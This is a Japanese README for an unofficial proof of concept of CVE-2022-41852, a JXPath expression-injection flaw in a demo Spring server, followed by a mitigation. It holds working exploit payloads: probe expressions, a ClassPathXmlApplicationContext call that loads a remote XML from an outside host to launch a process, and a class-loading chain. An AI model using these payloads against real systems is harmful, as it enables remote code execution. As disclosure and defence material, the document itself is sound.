
CVE-2022-41852 概念実証(非公式)
CVE-2022-41852 は攻撃者がアプリケーションサーバ上でコードを実行することを可能にします。
この脆弱性の詳細はこちらをご覧ください:
注記: 私はこのCVEの作者ではありません。この概念実証を作成したのみです。
JXPathライブラリはXPath式内で関数を実行する機能をサポートしています。 (公式ユーザーガイドを参照)。
例えば、メソッド JXPathContext.getValue(path) および JXPathContext.iterate(path) は、
ユーザーが path パラメータに入力を送信できる場合、危険です。
このPoCは、2つのエンドポイントを持つシンプルなSpringサーバを起動します。
/vulnerable-example?path=[path]/secure-example?path=[path]これらのエンドポイントは、クエリパラメータ "path" のみを持ちます。
以下のリクエストは正常に動作します(問題は発生しません):
以下のリクエストはコードを実行させます:
CVE-2022-41852 を検出するためのペイロード例:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)コマンドを実行する方法は様々あります。その一つがSpringのClassPathXmlApplicationContextを使用する方法です:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")XMLファイルでは、Bean設定を定義できます。例えば、ProcessBuilder のインスタンスを作成し、
start() メソッドを使用してBeanを初期化することで、サーバ上で指定したコマンドを実行できます。
以下の例では、Windowsマシンで電卓が開かれます:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
コンテキストBeanを走査して新しいクラスをロードする方法もあります。例えば、以下のコードはクラス com.warxim.dangerous.DangerousClass をロードし、そのインスタンスを作成してメソッド run("warxim") を呼び出します:
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
オブジェクトメソッドを呼び出す際には、それらを含むオブジェクトを最初のパラメータとして渡す必要があることに注意してください。
JXPathContextのfunctionsフィールドを空の FunctionLibrary に設定することで、関数を無効にすることが可能です。
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
注記: すべての関数が無効になるため、size() のような関数も利用できなくなります。
修正は開発中です。https://github.com/apache/commons-jxpath/pull/26 を参照してください。